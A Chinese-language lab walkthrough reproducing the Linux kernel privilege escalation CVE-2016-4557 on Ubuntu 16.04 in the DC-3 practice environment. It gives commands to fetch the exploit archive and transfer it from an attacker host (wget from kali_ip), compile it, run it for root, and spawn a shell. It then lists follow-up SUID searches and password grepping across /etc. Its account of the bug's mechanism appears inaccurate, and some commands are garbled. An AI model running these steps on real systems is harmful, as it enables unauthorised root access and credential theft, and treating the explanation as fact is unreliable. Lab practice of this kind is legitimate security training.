Ubuntu 16.04 内核提权(CVE-2016-4557)复现:利用ebpf_mapfd_doubleput获取root权限
Ubuntu 16.04内核提权实战CVE-2016-4557漏洞深度解析在渗透测试和CTF竞赛中内核提权始终是最具挑战性也最令人兴奋的环节之一。今天我们将深入剖析一个经典的Linux内核漏洞——CVE-2016-4557这个漏洞影响了Ubuntu 16.04等使用Linux内核4.4.x版本的系统。通过ebpf_mapfd_doubleput漏洞攻击者可以从普通用户权限提升到root权限完全控制系统。1. 漏洞背景与环境准备CVE-2016-4557是一个存在于Linux内核BPF子系统中的双重释放漏洞。BPFBerkeley Packet Filter最初是为网络数据包过滤设计的后来扩展成为eBPFextended BPF允许用户空间程序在内核中运行沙盒化的字节码。漏洞影响范围Linux内核版本4.4.x特别是Ubuntu 16.04默认内核需要CONFIG_BPF_SYSCALL配置选项开启默认启用实验环境要求攻击机Kali Linux已安装gcc、make等编译工具靶机Ubuntu 16.04内核版本4.4.0-21-generic网络连接确保两台机器在同一网络必要工具准备# Kali上安装编译依赖 sudo apt update sudo apt install -y libfuse-dev gcc make # 下载漏洞利用代码 wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip unzip 39772.zip cd 39772 tar -xvf exploit.tar2. 漏洞原理深度分析这个漏洞的核心在于BPF映射文件描述符的引用计数管理错误。当用户空间程序通过bpf()系统调用创建BPF映射时内核会分配一个文件描述符。漏洞发生在以下场景用户通过bpf(BPF_MAP_CREATE)创建映射并获得文件描述符fd1通过bpf(BPF_MAP_GET_FD_BY_ID)获取同一个映射的另一个文件描述符fd2关闭fd1导致内核错误地释放映射资源当fd2被关闭时内核再次尝试释放已释放的资源导致双重释放这种条件可能被利用来破坏内核内存管理结构最终实现任意代码执行。漏洞利用的关键步骤包括触发双重释放条件通过用户空间操作影响内核堆布局构造特定内存布局实现权限提升3. 漏洞利用实战步骤3.1 获取初始立足点在DC-3靶场中我们通常通过以下路径获得初始shell发现Joomla 3.7.0的SQL注入漏洞提取管理员哈希并破解密码通常为snoopy通过模板编辑功能上传webshell获取反向shell连接获得普通用户shell后检查系统信息uname -a # Linux dc-3 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux cat /etc/issue # Ubuntu 16.04 LTS \n \l3.2 编译并上传漏洞利用代码在Kali上准备漏洞利用代码后需要在靶机上获取这些文件。有几种传输方式方法一Python HTTP服务器# Kali上 python3 -m http.server 80 # 靶机上 wget http://kali_ip/exploit.tar方法二通过webshell直接上传如果网络传输受限可以将exploit.tar通过蚁剑等工具直接上传到靶机的/tmp目录。解压并编译漏洞利用代码tar -xvf exploit.tar cd ebpf_mapfd_doubleput_exploit chmod x compile.sh ./compile.sh3.3 执行提权操作编译成功后执行提权程序./doubleput如果成功你会看到[] Linux kernel privilege escalation exploit [] Success! Got root privileges.常见问题解决问题现象可能原因解决方案编译失败缺少依赖确保libfuse-dev已安装执行无反应内核补丁已打尝试其他提权方法系统崩溃利用不稳定调整exploit参数3.4 建立稳定root shell提权成功后建议立即建立稳定的root shellpython3 -c import pty; pty.spawn(/bin/bash) # 或者 /bin/bash -i检查root权限whoami # root id # uid0(root) gid0(root) groups0(root)4. 防御措施与修复方案虽然这是一个历史漏洞但了解防御措施对安全从业者至关重要即时修复方案# Ubuntu系统更新 sudo apt update sudo apt upgrade linux-image-$(uname -r)长期防御策略定期更新内核和安全补丁限制普通用户使用bpf系统调用sysctl -w kernel.unprivileged_bpf_disabled1启用内核保护机制如KASLR、SMAP/SMEP安全配置检查表[ ] 确认内核版本已更新至4.4.0-210或更高[ ] 检查/proc/sys/kernel/unprivileged_bpf_disabled设置为1[ ] 启用SELinux/AppArmor等强制访问控制机制5. 扩展思考与替代方案当CVE-2016-4557不可用时可以考虑其他提权路径1. 内核漏洞替代方案CVE-2017-6074 (DCCP双重释放)CVE-2017-7308 (AF_PACKET内存破坏)2. 用户态提权技术# SUID文件查找 find / -perm -us -type f 2/dev/null # 可写配置文件检查 find /etc -writable -type f 2/dev/null3. 密码与凭证收集# 历史命令检查 history # 配置文件中的密码 grep -r password /etc/ 2/dev/null在DC-3靶场实践中我曾遇到exploit.tar传输失败的情况最终通过base64编码分块传输解决了问题。这种因地制宜的解决思路在实际渗透测试中尤为重要——没有放之四海皆准的完美方案只有不断适应环境变化的灵活思维。